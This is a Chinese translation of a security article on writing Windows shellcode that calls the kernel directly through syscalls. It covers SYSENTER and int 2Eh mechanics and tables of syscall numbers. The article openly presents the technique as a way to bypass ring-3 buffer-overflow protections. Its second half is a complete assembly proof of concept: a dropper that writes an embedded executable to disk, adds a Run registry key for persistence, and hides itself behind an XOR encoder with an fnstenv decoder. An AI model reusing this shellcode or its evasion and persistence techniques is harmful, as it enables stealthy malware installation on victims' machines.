原创翻译]使用windows系统调用编写shellcode
原文作者:Piotr Bania
原文出处:http://securityfocus.com/infocus/1844/1
翻译作者:无敌最寂寞
本文来源:邪恶八进制信息安全团队
使用windows系统调用编写shellcode
简介
写此文的用意,是想让大家知道在windows系统下我们完全可以写出不依赖于标准API调用的shellcode。当然,对于每一种编写思路,都有它的优缺点。在本文中,我将会带领大家学习一下这种shellcode并介绍一些实际的例子。在阅读本文前,我假设你已经懂得一些IA-32下的汇编知识。
本文涉及的shellcode都在windows XP SP1下测试通过,大家也许注意到了我们的shellcode是要依赖于操作系统及其打的SP补丁的,随着文章的深入我们会进一步讨论的。
背景知识
基于NT内核的windows操作系统(NT/2000/XP/2003或更高版本)支持很多的子系统,每个子系统都包含各自的环境。例如,WIN32子系统就是一例(处理普通windows应用程序),再一个就是支持unix或者OS/2的POSIX子系统。那么这意味着什么呢?意味着NT系统可以运行OS/2(当然是
些能够正确运行的系统附件)并支持其大部分系统特性。那么NT系统是如何来支持这些子系统的呢?微软在每个子系统中封装了统一的一组API。简言之,所有的子系统都依靠一些必须的库来工作。比如win32应用程序调用的是win32子系统API,而这些API实际上调用的是NT API(native API等)。本地API不依赖于任何子系统。
从本地API调用到系统调用
那么我们是否真正能写出一个不需要标准API调用的shellcode呢?对于某些API是可以的,而又有一些是不可以的,有些API并不需要调用本地API就可以完成它们的工作等等。通过阅读下面的代码我们可以得到证实(以下为从KERNEL32.DLL中导出的GetCommandLineA API):
.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358 mov eax, dword_77ED7614
.text:77E7E35D retn
.text:77E7E35D GetCommandLineA endp
此API并没有使用任何调用。它做的唯一一件事就是返回了指向命令行参数的一个指针。我们来讨论一个符合我们理论的例子,下面一部分是TerminateProcess API函数的反汇编代码:
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j
.text:77E616B8 ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess = dword ptr 4
.text:77E616B8 uExitCode = dword ptr 8
.text:77E616B8
.text:77E616B8 cmp [esp+hProcess], 0
.text:77E616BD jz short loc_77E616D7
.text:77E616BF push [esp+uExitCode] ; 1st param: Exit code
.text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process
.text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
就像你看到的那样,TerminateProcess函数只是简单地将参数压栈后接着调用NTDLL.DLL中的NtTerminateProcess函数。NTDLL.DLL中的函数就是本地API。换句话说,以‘NT’开头的函数就是本地API(有的是以‘ZW’开头的,看一下NTDLL的导出函数便知)。接着看一下NTTerminateProcess函数吧:
.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448 ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h ; 系统调用号: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h
.text:77F5C452 call edx ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp
该native API事实上仅仅将系统调用号放入eax,然后调用7FFE0300h处的代码:
7FFE0300 8BD4 MOV EDX,ESP
7FFE0302 0F34 SYSENTER
7FFE0304 C3 RETN
上面的代码向我们展示了整个调用过程:EDX是用户堆栈指针,EAX是将要执行的系统调用。SYSENTER指令执行了一个到ring 0级系统程序的快速调用,这个系统程序用来完成剩余的工作。
操作系统间的区别
在windows2000(其它除了XP以及XP更高版本外的基于NT内核的系统)中,不使用SYSENTER指令。但在windows XP中使用SYSENTER指令替换了“int 2eh”。下面展示了windows 2000中系统调用的实现:
MOV EAX, SyscallNumber ; 被请求的系统调用号
LEA EDX, [ESP+4] ; EDX = 参数
INT 2Eh ; 调用内核处理程序
RET 4*NUMBER_OF_PARAMS ; 返回
我们已经知道了windows xp的处理方法,下面这个就是我在我的shellcode中是如何使用的:
push fn ; 将系统调用号压栈
pop eax ; EAX = 系统调用号
push eax ; 这没什么影响
call b ; 下一条指令压入堆栈
b: add [esp],(offset r - offset b) ; 标准化堆栈
mov edx, esp ; EDX = 当前堆栈
db 0fh, 34h ; SYSENTER 指令
r: add esp, (param*4) ; 标准化堆栈
SYSENTER指令似乎是在Intel Pentium II处理器中第一次引入。SYENTER指令并不被Athlon处理器支持。确定一个特定的处理器是否支持SYSENTER指令,我们可以使用CPUID指令协同SEP标志以及CPU特定的family/model/stepping属性检测。(译者注:CPUID几乎是所有x86 CPU内置的指令,用它可以获得CPU的一些信息。关于此命令的详细用法,大家可以从google中搜索到。此处我们可以使用CPUID指令来检测CPU是否支持SYSENTER指令)。以下是intel处理器如何进行检测的:
IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;
当然,在各个windows操作系统之间这并不是唯一的区别,比如系统调用号在各个windows操作系统版本之间就不同,如下表所示:
Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3 0x3 0x5 0x7
SP 4 0x3 0x5 0x7
SP 5 0x3 0x5 0x7
SP 6 0x3 0x5 0x7
Windows 2000 SP 0 0x8 0xa 0xc
SP 1 0x8 0xa 0xc
SP 2 0x8 0xa 0xc
SP 3 0x8 0xa 0xc
SP 4 0x8 0xa 0xc
Windows XP SP 0 0x8 0xb 0xd
SP 1 0x8 0xb 0xd
SP 2 0x8 0xb 0xd
Win2003 Server SP0 0x8 0xc 0xe
SP 1 0x8 0xc 0xe
我们可以在网上搜索到这些系统调用表,也可以在本文后面的参考资料里找到。
使用系统调用编写shellcode的t优点
下面是使用系统调用方法来编写shellcode的优点:
1、使用此方法编写的shellcode不再需要使用API,这是因为我们不再需要定位API的地址了(像内核地址的查找、导入节或者导出节的解析等等,都不需要了)。因此可以利用此方法绕过运行在ring 3上的“防止缓冲区溢出系统”。此类的保护机制通常并不是阻止了缓冲区溢出攻击,而是HOOK了一些经常使用的API然后检测调用该API的地址,以此来阻止shellcode的执行。但是如果是使用此方法编写的shellcode,这类保护就失效了。(译着注:“防止缓冲区溢出系统”,原文是"buffer overflow prevention systems"。就像上文说的那样,并不是真正的阻止了缓冲区溢出。所以我觉得翻译成“缓冲区溢出抑制系统”更为确切些。)
2、由于你是直接向内核提交请求而跳过了win32子系统的所有指令,那么shellcode的执行速度肯定是非常快的。(当然,现在的CPU速度都是那么快,谁又会在乎这点速度呢)
使用系统调用编写shellcode的缺点
下面是使用系统调用编写shellcode的一些缺点:
1、shellcode的体积,这是用这种方法编写shellcode的最大的缺点。因为我们不使用windows子系统封装的一些功能,那么我们就需要自己来编写这些功能代码。因此shellcode体积就会激增。
2、兼容性----正如前面所说的,“int 2eh”和“sysenter”指令在不同系统的版本中的实现是不同的。而且系统调用号在每个版本的系统中也是不同的。
编写系统调用版shellcode
在本文的最后是一个使用此方法写出的shellcode,主要功能是释放一个文件然后写入注册表一个启动键值。在系统重起后,再通过注册表的启动键值执行释放出的文件。也许你们会问我为什么不直接执行这个文件,而是要等到下次重启后再通过注册表启动。通过系统调用来执行win32程序并不是那么容易的,不要认为我们可以调用NtCreateProcess来完成这项工作。让我们来看看CreateProcess API在执行一个程序前需要做哪些事情:
1、在进程中打开.exe映像文件。
2、创建windows进程对象。
3、创建初始化线程(堆栈、上下文以及windows线程对象)。
4、将新进程通知到win32 子系统,以便win32子系统可以创建新的进程和线程。
5、开始执行初始化线程(除非指定了CREATE_SUSPENDED属性)。
6、在新创建的进程和线程的上下文中,完成地址空间的初始化(包括加载所需dll)然后开始执行程序。
因此,使用注册表启动的方法相对来说是比较容易的和快速的。下面的shellcode执行后会产生出一个MessageBox例程(如此要涉及到PE结构,所以shellcode的体积就比较大了)。不管怎么说,这只是个例子演示而已。实际运用中我们可以用本地shell以及下载执行或者命令执行等任
何功能来代替,下面我们来实际看下代码吧:
The shellcode - Proof Of Concept
comment $
-----------------------------------------------
WinNT (XP) Syscall Shellcode - Proof Of Concept
-----------------------------------------------
Written by: Piotr Bania
http://pb.specialised.info
$
include my_macro.inc
include io.inc
; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH equ "/??/C:/b.exe",0 ; 产生的文件的存放路径
SHELLCODE_DROP equ "D:/asm/shellcodeXXX.dat" ; shellcode文件存放路径
; shellcode
REG_PATH equ "/Registry/Machine/Software/Microsoft/Windows/CurrentVersion/Run",0
; ------------------------------------------------------------------------------------
KEY_ALL_ACCESS equ 0000f003fh ; const value
_S_NtCreateFile equ 000000025h ; windows xp sp1
_S_NtWriteFile equ 000000112h ; 下的系统调用号
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S_NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h
@syscall macro fn, param ; windows XP的系统调用
local b, r ; 实现
push fn
pop eax
push eax ; makes no diff
call b
b: add [esp],(offset r - offset b)
mov edx, esp
db 0fh, 34h
r: add esp, (param*4)
endm
path struc ; 有用的结构
p_path dw MAX_PATH dup (?) ;从C头文件中转换而来的
path ends
object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends
unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends
call crypt_and_dump_sh ; xor and dump shellcode
sc_start proc
local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a bject_attributes
local iob :pio_status_block
local fHandle WORD
local rHandle WORD
sub ebp,500 ; allocate space on stack堆栈中分配空间
push FILE_PATH_ULEN ; unicode字符串
pop [u_string.us_length] ; 长度
push 255 ; set up unicode字符穿最大
pop [u_string.us_length+2] ; 长度
lea edi,[fpath] ; EDI = 指向fpath
push edi ; 路径
pop [u_string.us_pstring] ; set up the unciode entry
call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack
FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h
a_p1: pop esi ; ESI = ptr to file path
push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
xor eax,eax ; EAX = 0
a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align
lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)
pop [edi.oa_length] ; store
push ebx ; store the object name
pop [edi.oa_objectname]
push eax ; rootdir = NULL
pop [edi.oa_rootdir]
push eax ; secdesc = NULL
pop [edi.oa_secdesc]
push eax ; secqos = NULL
pop [edi.oa_secqos]
push 40h ; attributes value = 40h
pop [edi.oa_attribz]
lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null
push eax ; eabuffer = null
push 60h ; create options
push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes
push eax ; allocation size = NULL
push ecx ; io status block
push edi ; object attributes
push 0C0100080h ; desired access
lea esi,[fHandle]
push esi ; (out) file handle
@syscall _S_NtCreateFile, 11 ; execute syscall
lea ecx,[iob] ; ecx = io status block
push eax ; key = null
push eax ; byte offset = null
push main_exploit_s ; length of data
call a3 ; ptr to dropper body
s1: include msgbin.inc ; dopper data
main_exploit_s equ $ - offset s1
a3: push ecx ; io status block
push eax ; apc context = null
push eax ; apc routine = null
push eax ; event = null
push dword ptr [esi] ; file handle
@syscall _S_NtWriteFile, 9 ; execute the syscall
mov edx,edi ; edx = object attributes
lea edi,[rpath] ; edi = registry path
push edi ; store the pointer
pop [u_string.us_pstring] ; into unicode struct
push REG_PATH_ULEN ; store new path len
pop [u_string.us_length]
call a_p2 ; store the ascii reg path
a_s1: db REG_PATH ; pointer on stack
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh
a_p2: pop esi ; esi ptr to ascii reg path
push REG_PATH_LEN
pop ecx ; ECX = REG_PATH_LEN
a_lo1: lodsb ; little ascii 2 unicode
stosw ; conversion
loop a_lo1
push eax ; disposition = null
push eax ; create options = null
push eax ; class = null
push eax ; title index = null
push edx ; object attributes struct
push KEY_ALL_ACCESS ; desired access
lea esi,[rHandle]
push esi ; (out) handle
@syscall _S_NtCreateKey,6
lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax
pop [ecx] ; nullify file handle
push FILE_PATH_ULEN - 8 ; push the unicode len
; without 8 (no '/??/')
push ebx ; file path
add [esp],8 ; without '/??'
push REG_SZ ; type
push eax ; title index = NULL
push ecx ; value name = NULL = default
push dword ptr [esi] ; key handle
@syscall _S_NtSetValueKey,6 ; set they key value
dec eax
push eax ; exit status code
push eax ; process handle
; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want
; TerminateThread instead?
ssc_size equ $ -offset sc_start
sc_start endp
exit:
push 0
@callx ExitProcess
crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file
; will be dumped
xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop
_fcreat SHELLCODE_DROP,ebx ; some of my old crazy
_fwrite ebx,sh_decryptor,sh_dec_size ; io macros
_fwrite ebx,sc_start,ssc_size
_fclose ebx
jmp exit
sh_decryptor: ; that's how the decryptor
xor ecx,ecx ; looks like
mov cx,ssc_size
fldz
sh_add: fnstenv [esp-12] ; fnstenv decoder
pop edi
add edi,sh_dec_add
sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop
sh_dec_add equ ($ - offset sh_add) + 1
sh_dec_size equ $ - offset sh_decryptor
end start
写在最后的话
希望大家能喜欢这篇文章,同样的本文的目的只是为了向大家讲述一种方法。任何利用本技术去做违法的事,与作者无关。
参考资料:
"Inside the Native API"
Interactive Win32 syscall page